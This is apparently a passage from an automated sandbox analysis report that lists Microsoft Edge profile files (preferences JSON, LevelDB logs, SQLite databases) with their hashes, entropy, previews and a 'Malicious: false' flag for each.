Preview:	...@..@...@.....C.].....@...............H...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".nidvnw20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........~...... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\17ea5e68-164d-4b0e-b519-d90ef6c1e6fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13257
Entropy (8bit):	5.281098912707781
Encrypted:	false
SSDEEP:	192:stHJ99QTryDiuabatSuyppsH52yaNPsz8MFkxp5m8rbV+FLMCYQAmvUjPyYJ:stHPGQSu4psZ2tJsz83bGLMbQpvO
MD5:	845D9E71F1D8C53F1C62C3CDA42EFB20
SHA1:	033EBEB55D5F77129E77D10B13F83FC165A7FD7C
SHA-256:	B9D6A6D98C6B6BEAFC169A3E885ADFC59BC5B0E060CECE124E4820698403B363
SHA-512:	184089BEB49C315CDEA9E3E6B14304F66DB121B212691ED14245B1887205E41741D5533CF024CC6F7DC671C77FCB540F65630386E7D5D8055E82DB86993AC294
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377578866952554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4df310c8-c9ff-4932-a7bf-e817af7efb15.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9575
Entropy (8bit):	5.112832619159388
Encrypted:	false
SSDEEP:	192:stHkdppsH52yaNP9k0p5m8rbV+FZYQAZvUjPyYJ:stHQpsZ2tJXbG6QgvO
MD5:	673EBEAACB58F20101534FEE5337049B
SHA1:	ACE4FC9DE642B46BD0303ED1A1754CA83062517D
SHA-256:	F6D19C22BCEBC8B373F6DF09006FCDB1E9F3E018724B5DFD1836FFFB19ACE753
SHA-512:	3008584D18D90EFDB4D68066B4C6261744EAE9B12B19271941D9907C29DF6932DA754418FD54A0D55AD4443EF37FD1D8E42408EABADFFAD3C9E4171FF1FBDDA2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377578866952554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\73a01ac2-69ab-4f98-9d71-69ea474a8ce9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8c8f065c-5a94-4673-88d9-be1398c3395e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.237285724780113
Encrypted:	false
SSDEEP:	6:yRkoM1cNwi23oH+Tcwtp3hBtB2KLlARSyq2PcNwi23oH+Tcwtp3hBWsIFUv:yao2ZYebp3dFLqcyvLZYebp3eFUv
MD5:	A1F63BC8C9D0B4033C79AB195B4F7CC8
SHA1:	6867BD78B3CC6FAA00BCA61236FB60DF10E12536
SHA-256:	65B0FB45A210F91717ECA0F1751303CA2A45D1D57EBBDBF47297E56A4BE8234B
SHA-512:	A9F05CCEE83954D8AE97ECCF8A95566903D165BD1D842EC9BD17A3F96A94F0F17573DB70A4C81172A368BF1CAE611E7FF40CF576E12B71CEB04FE692A2E350D4
Malicious:	false
Preview:	2024/12/01-21:07:51.253 15c4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/12/01-21:07:51.307 15c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.040635471856073
Encrypted:	false
SSDEEP:	24576:kRf76gGkISshcFdmcOAoPENUpifYP+MbI2T:kRfgAmmE
MD5:	5D2F4B6A299A27A3ED9F882FC00027E8
SHA1:	E56B9A875D7ABA88B3C3851F317BA411F0E5A9D4
SHA-256:	AF544D28685A855BF82628D6992EAA26C42FA49BA4A5A20E71655481C0E31686
SHA-512:	033B244DDC8D8729EB2BF3AF662E870B752631CFBFDE863DC71F6CB04197CE5035D2FD8750762A72137E2F59EF53F54B3CB181DDB7F2987D2AB75E06A6D89F09
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.135268845140848
Encrypted:	false
SSDEEP:	6:yRWW+q2PcNwi23oH+Tcwt9Eh1tIFUt85RD5Zmw+5RP3VkwOcNwi23oH+Tcwt9Ehx:ysvLZYeb9Eh16FUt85x5/+5VF54ZYebY
MD5:	87897D45191909C9CE08F7A266C17BDC
SHA1:	14352598C1216F12D205B26CEADB99C8930B7590
SHA-256:	97172831701F387286D01E3A3891F8765CBE49B826BAC3B23A3A5277796AE5AC
SHA-512:	8A5E3E5650D40F964DD7ED95C3751F58E70927420A10F362312E5B56DD17D771C31A5A5120B497547E6825DA8F51894C50381E6DAA634083D1B101D00F668262
Malicious:	false
Preview:	2024/12/01-21:07:51.164 20c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/01-21:07:51.166 20c8 Recovering log #3.2024/12/01-21:07:51.168 20c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.135268845140848
Encrypted:	false
SSDEEP:	6:yRWW+q2PcNwi23oH+Tcwt9Eh1tIFUt85RD5Zmw+5RP3VkwOcNwi23oH+Tcwt9Ehx:ysvLZYeb9Eh16FUt85x5/+5VF54ZYebY
MD5:	87897D45191909C9CE08F7A266C17BDC
SHA1:	14352598C1216F12D205B26CEADB99C8930B7590
SHA-256:	97172831701F387286D01E3A3891F8765CBE49B826BAC3B23A3A5277796AE5AC
SHA-512:	8A5E3E5650D40F964DD7ED95C3751F58E70927420A10F362312E5B56DD17D771C31A5A5120B497547E6825DA8F51894C50381E6DAA634083D1B101D00F668262
Malicious:	false
Preview:	2024/12/01-21:07:51.164 20c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/01-21:07:51.166 20c8 Recovering log #3.2024/12/01-21:07:51.168 20c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4623513951951998
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBumfUeW:TouQq3qh7z3bY2LNW9WMcUvBumf7
MD5:	77FDCE50A981BC85F83B0AAF70D1E0E6
SHA1:	ADB3FDA864A820E3B3127439B6E90B00037924E3
SHA-256:	8F9916BDE8D3709630BD58EC6139CE13E5ABBC692EE684D4C4F02157E0BA1DB8
SHA-512:	C5C0922384CBDF980FE59D276EF1A37890CE7AD00B2E293E705991710D07D8E58CEA139B6A585C705338C353D8052D7620BA6EFFDD261FBE3D04502ED109ED72
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.157582828660722
Encrypted:	false
SSDEEP:	6:yR5uVq2PcNwi23oH+TcwtnG2tMsIFUt85R5ugZmw+5R5uIkwOcNwi23oH+TcwtnB:yPuVvLZYebn9GFUt85Pug/+5PuI54ZYi
MD5:	428591FFADB7D6F7C9EB52EC8779FDF4
SHA1:	1D72BEBC074B9D16859FE56D2DD25B837F90B977
SHA-256:	315D2F0E8E78C100AEF8B5F974E8A94522C6F733350880E0AD8614E2DC9DB8FD
SHA-512:	9EC5D70BDC90ED52206A2DE9B972894D84E1D4C7C58712EE64282FD0543BE16B84666CA6101681C1E10E1FBE19E6D8647DA7DA1E34EB17BA99DEADCAB2559860
Malicious:	false
Preview:	2024/12/01-21:07:46.131 1f20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/01-21:07:46.131 1f20 Recovering log #3.2024/12/01-21:07:46.131 1f20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.157582828660722
Encrypted:	false
SSDEEP:	6:yR5uVq2PcNwi23oH+TcwtnG2tMsIFUt85R5ugZmw+5R5uIkwOcNwi23oH+TcwtnB:yPuVvLZYebn9GFUt85Pug/+5PuI54ZYi
MD5:	428591FFADB7D6F7C9EB52EC8779FDF4
SHA1:	1D72BEBC074B9D16859FE56D2DD25B837F90B977
SHA-256:	315D2F0E8E78C100AEF8B5F974E8A94522C6F733350880E0AD8614E2DC9DB8FD
SHA-512:	9EC5D70BDC90ED52206A2DE9B972894D84E1D4C7C58712EE64282FD0543BE16B84666CA6101681C1E10E1FBE19E6D8647DA7DA1E34EB17BA99DEADCAB2559860
Malicious:	false
Preview:	2024/12/01-21:07:46.131 1f20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/01-21:07:46.131 1f20 Recovering log #3.2024/12/01-21:07:46.131 1f20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6139378595615398
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWP5RCJtlMAP:TLapR+DDNzWjJ0npnyXKUO8+j4CpWhmL
MD5:	D639E91EFB91DD2995F01389977E47F3
SHA1:	3E13D4370DC713464D2297196E4A8A90055F951B
SHA-256:	FDDE50A21FB6B1BA7AACDA63ECB900EB32E1CBC3B07B938E7D92609AE8D6BF2C
SHA-512:	0099FB421A5FE76F0F5BA0D3DFC7FC6E4CF81EBBCD4DBC72FE4B4420399630910141F078A23B0EF2C30FBAE9FAC1D18736F744D55A6A3DF7A1D05C1AC7E92A04
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	375520
Entropy (8bit):	5.354117975755505
Encrypted:	false
SSDEEP:	6144:QA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:QFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	2EAB71BA80AA9562E71D81AA3A86B574
SHA1:	EC3E07F34B02EA1785F0D1B2EF6160ABA54F01AD
SHA-256:	1C2FBB90819144C315EA79FB8C321C7F07B6539D68C8B0AE13310906C855C1B4
SHA-512:	283B20827BDE94FEC2EE8AECAC6515683B26FE6232DE5A4B5D89E4DF70A4B0D263CE1AD98E3DEA7A0462E8EAEFF056E504D936A9DA12ACB2DCDA10455203D89A
Malicious:	false
Preview:	...m.................DB_VERSION.1D.d.q...............&QUERY_TIMESTAMP:domains_config_gz2...13377578874368285..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.1525399073256395
Encrypted:	false
SSDEEP:	6:yR5T9B1cNwi23oH+Tcwtk2WwnvB2KLlAR1vq2PcNwi23oH+Tcwtk2WwnvIFUv:yv9PZYebkxwnvFLq3vLZYebkxwnQFUv
MD5:	473896B87A5541351D9BDBEE635CD2C4
SHA1:	71A2F35B6EA72A0B8F0E6E0DD8D9B3A4B1091A96
SHA-256:	A2A0A82DDA09759B3797AB418654588A267C3B58E46A7EB2737CD2C2211929C7
SHA-512:	B7BB31D27B8502B283A2CD202C093331829674420EF1876C3071CC896CAEBB3B2DF2EDB8E89112E47C8B11A96FDDE6B3A2A6DC10BEEB40F89E27DD0C6C5F6A02
Malicious:	false
Preview:	2024/12/01-21:07:51.046 20b0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/12/01-21:07:51.083 20b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

